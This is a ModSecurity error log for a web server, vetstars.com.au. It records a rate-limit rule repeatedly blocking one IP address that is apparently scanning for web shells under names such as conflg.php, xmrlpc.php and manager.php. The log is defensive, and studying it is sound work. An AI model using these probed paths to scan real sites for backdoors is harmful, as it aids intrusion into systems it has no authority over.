[Mon Jan 05 18:50:14.879001 2026] [:error] [pid 6680:tid 6705] [client 4.197.220.165:11188] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVuXZqE58uNoazzTmx3ZAAAAARc"]
[Mon Jan 05 18:50:16.029131 2026] [:error] [pid 5534:tid 5560] [client 4.197.220.165:10989] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVuXaJNs9XmbR6unB0ylywAAABE"]
[Mon Jan 05 18:50:16.579253 2026] [:error] [pid 5534:tid 5556] [client 4.197.220.165:11008] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVuXaJNs9XmbR6unB0ylzAAAAA0"]
[Mon Jan 05 18:50:57.679203 2026] [:error] [pid 5535:tid 5588] [client 4.197.220.165:15584] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aVuXkWnkedMjhVX0PTVdcgAAAFI"]
[Mon Jan 05 18:50:57.887529 2026] [:error] [pid 5536:tid 5616] [client 4.197.220.165:15615] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aVuXkQRtMZNG6xI8yDzOhwAAAJM"]
[Mon Jan 05 18:50:57.995225 2026] [:error] [pid 5536:tid 5613] [client 4.197.220.165:15516] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aVuXkQRtMZNG6xI8yDzOiAAAAJA"]
[Mon Jan 05 18:50:58.138631 2026] [:error] [pid 6680:tid 6701] [client 4.197.220.165:15590] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aVuXkqE58uNoazzTmx3ZIAAAARM"]
[Mon Jan 05 18:50:58.168767 2026] [:error] [pid 5536:tid 5601] [client 4.197.220.165:11111] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aVuXkgRtMZNG6xI8yDzOiQAAAIQ"]
[Mon Jan 05 18:50:58.203284 2026] [:error] [pid 5632:tid 5659] [client 4.197.220.165:11100] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aVuXkoN3ZWvlOh-nbt-xCgAAAM8"]
[Mon Jan 05 18:50:58.257110 2026] [:error] [pid 6680:tid 6690] [client 4.197.220.165:11053] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aVuXkqE58uNoazzTmx3ZIgAAAQg"]
[Mon Jan 05 18:50:58.311827 2026] [:error] [pid 5534:tid 5548] [client 4.197.220.165:11018] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aVuXkpNs9XmbR6unB0yl5QAAAAU"]
[Mon Jan 05 18:50:58.359226 2026] [:error] [pid 5534:tid 5554] [client 4.197.220.165:11101] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aVuXkpNs9XmbR6unB0yl5gAAAAs"]
[Mon Jan 05 18:50:58.420780 2026] [:error] [pid 5534:tid 5561] [client 4.197.220.165:11050] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aVuXkpNs9XmbR6unB0yl5wAAABI"]
[Mon Jan 05 18:50:58.599704 2026] [:error] [pid 6680:tid 6691] [client 4.197.220.165:11199] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aVuXkqE58uNoazzTmx3ZIwAAAQk"]
[Mon Jan 05 18:50:58.826216 2026] [:error] [pid 5632:tid 5649] [client 4.197.220.165:11073] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aVuXkoN3ZWvlOh-nbt-xDAAAAMU"]
[Mon Jan 05 18:50:59.120655 2026] [:error] [pid 5535:tid 5570] [client 4.197.220.165:11195] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVuXk2nkedMjhVX0PTVddQAAAEA"]
[Mon Jan 05 18:50:59.192012 2026] [:error] [pid 5632:tid 5667] [client 4.197.220.165:11017] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVuXk4N3ZWvlOh-nbt-xDQAAANc"]
[Mon Jan 05 18:50:59.236122 2026] [:error] [pid 5535:tid 5592] [client 4.197.220.165:10951] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVuXk2nkedMjhVX0PTVddgAAAFY"]
[Mon Jan 05 18:50:59.361455 2026] [:error] [pid 54081:tid 54096] [client 4.197.220.165:11234] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVuXk1L4jLgtF-b9w4dvkAAAAUw"]
[Mon Jan 05 18:50:59.475602 2026] [:error] [pid 5536:tid 5608] [client 4.197.220.165:11043] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aVuXkwRtMZNG6xI8yDzOiwAAAIs"]
[Mon Jan 05 18:50:59.677736 2026] [:error] [pid 5534:tid 5566] [client 4.197.220.165:11122] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aVuXk5Ns9XmbR6unB0yl6gAAABc"]
[Mon Jan 05 18:50:59.954491 2026] [:error] [pid 54081:tid 54102] [client 4.197.220.165:11093] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aVuXk1L4jLgtF-b9w4dvkQAAAVI"]
[Mon Jan 05 18:51:00.055228 2026] [:error] [pid 54081:tid 54100] [client 4.197.220.165:11037] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aVuXlFL4jLgtF-b9w4dvkwAAAVA"]
[Mon Jan 05 18:51:00.110457 2026] [:error] [pid 6680:tid 6700] [client 4.197.220.165:11048] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVuXlKE58uNoazzTmx3ZJgAAARI"]
[Mon Jan 05 18:51:00.327629 2026] [:error] [pid 5535:tid 5585] [client 4.197.220.165:11026] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVuXlGnkedMjhVX0PTVdeAAAAE8"]
[Mon Jan 05 18:51:00.377802 2026] [:error] [pid 5632:tid 5660] [client 4.197.220.165:11064] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVuXlIN3ZWvlOh-nbt-xDwAAANA"]
[Mon Jan 05 18:51:00.427080 2026] [:error] [pid 5632:tid 5656] [client 4.197.220.165:11103] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVuXlIN3ZWvlOh-nbt-xEAAAAMw"]
[Mon Jan 05 18:51:00.460710 2026] [:error] [pid 54081:tid 54088] [client 4.197.220.165:11067] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aVuXlFL4jLgtF-b9w4dvlgAAAUQ"]
[Mon Jan 05 18:51:00.722720 2026] [:error] [pid 5632:tid 5652] [client 4.197.220.165:11059] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aVuXlIN3ZWvlOh-nbt-xEgAAAMg"]
[Mon Jan 05 18:51:00.849371 2026] [:error] [pid 5536:tid 5598] [client 4.197.220.165:11014] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aVuXlARtMZNG6xI8yDzOjgAAAIE"]
[Mon Jan 05 18:51:00.985732 2026] [:error] [pid 5632:tid 5654] [client 4.197.220.165:11134] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aVuXlIN3ZWvlOh-nbt-xEwAAAMo"]
[Mon Jan 05 18:51:01.044920 2026] [:error] [pid 54081:tid 54094] [client 4.197.220.165:11105] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aVuXlVL4jLgtF-b9w4dvlwAAAUo"]
[Mon Jan 05 18:51:01.080627 2026] [:error] [pid 54081:tid 54099] [client 4.197.220.165:11176] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aVuXlVL4jLgtF-b9w4dvmAAAAU8"]
[Mon Jan 05 18:51:01.175153 2026] [:error] [pid 54081:tid 54106] [client 4.197.220.165:11031] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aVuXlVL4jLgtF-b9w4dvmQAAAVY"]
[Mon Jan 05 18:51:01.301235 2026] [:error] [pid 5632:tid 5668] [client 4.197.220.165:11106] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aVuXlYN3ZWvlOh-nbt-xFAAAANg"]
[Mon Jan 05 18:51:01.434281 2026] [:error] [pid 54081:tid 54101] [client 4.197.220.165:11185] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVuXlVL4jLgtF-b9w4dvmwAAAVE"]
[Mon Jan 05 18:51:01.480967 2026] [:error] [pid 6680:tid 6683] [client 4.197.220.165:11034] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVuXlaE58uNoazzTmx3ZJwAAAQE"]
[Mon Jan 05 18:51:01.588910 2026] [:error] [pid 6680:tid 6705] [client 4.197.220.165:10961] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVuXlaE58uNoazzTmx3ZKAAAARc"]
[Mon Jan 05 18:51:01.723390 2026] [:error] [pid 28407:tid 28428] [client 4.197.220.165:11021] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aVuXldercd3ptydUzM0xsAAAAZE"]
[Mon Jan 05 18:51:01.789227 2026] [:error] [pid 5535:tid 5594] [client 4.197.220.165:10992] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aVuXlWnkedMjhVX0PTVdegAAAFg"]
[Mon Jan 05 18:51:01.922802 2026] [:error] [pid 54081:tid 54103] [client 4.197.220.165:10968] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aVuXlVL4jLgtF-b9w4dvnAAAAVM"]
[Mon Jan 05 18:51:02.040060 2026] [:error] [pid 28407:tid 28425] [client 4.197.220.165:11133] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aVuXltercd3ptydUzM0xsgAAAY4"]
[Mon Jan 05 18:51:02.169174 2026] [:error] [pid 6680:tid 6685] [client 4.197.220.165:11189] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aVuXlqE58uNoazzTmx3ZKQAAAQM"]
[Mon Jan 05 18:51:02.234765 2026] [:error] [pid 6680:tid 6699] [client 4.197.220.165:11028] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aVuXlqE58uNoazzTmx3ZKgAAARE"]
[Mon Jan 05 18:51:02.321816 2026] [:error] [pid 5535:tid 5584] [client 4.197.220.165:15547] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aVuXlmnkedMjhVX0PTVdfAAAAE4"]
[Mon Jan 05 18:51:02.381491 2026] [:error] [pid 5535:tid 5572] [client 4.197.220.165:11032] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aVuXlmnkedMjhVX0PTVdfQAAAEI"]
[Mon Jan 05 18:51:02.483671 2026] [:error] [pid 28407:tid 28424] [client 4.197.220.165:11119] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aVuXltercd3ptydUzM0xswAAAY0"]
[Mon Jan 05 18:51:02.553631 2026] [:error] [pid 5535:tid 5580] [client 4.197.220.165:11040] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aVuXlmnkedMjhVX0PTVdfgAAAEo"]
[Mon Jan 05 18:51:02.636854 2026] [:error] [pid 6680:tid 6684] [client 4.197.220.165:11057] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aVuXlqE58uNoazzTmx3ZKwAAAQI"]
[Mon Jan 05 18:51:02.753383 2026] [:error] [pid 6680:tid 6695] [client 4.197.220.165:11011] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aVuXlqE58uNoazzTmx3ZLAAAAQ0"]
[Mon Jan 05 18:51:02.863895 2026] [:error] [pid 6680:tid 6698] [client 4.197.220.165:11056] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aVuXlqE58uNoazzTmx3ZLQAAARA"]
[Mon Jan 05 18:51:02.931474 2026] [:error] [pid 5535:tid 5582] [client 4.197.220.165:11016] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aVuXlmnkedMjhVX0PTVdfwAAAEw"]
[Mon Jan 05 18:51:03.039725 2026] [:error] [pid 6680:tid 6682] [client 4.197.220.165:11125] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aVuXl6E58uNoazzTmx3ZLwAAAQA"]
[Mon Jan 05 18:51:03.097270 2026] [:error] [pid 5535:tid 5586] [client 4.197.220.165:10953] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aVuXl2nkedMjhVX0PTVdgAAAAFA"]
[Mon Jan 05 18:51:03.171365 2026] [:error] [pid 6680:tid 6692] [client 4.197.220.165:10962] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aVuXl6E58uNoazzTmx3ZMAAAAQo"]
[Mon Jan 05 18:51:03.332000 2026] [:error] [pid 6680:tid 6701] [client 4.197.220.165:11126] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVuXl6E58uNoazzTmx3ZMQAAARM"]
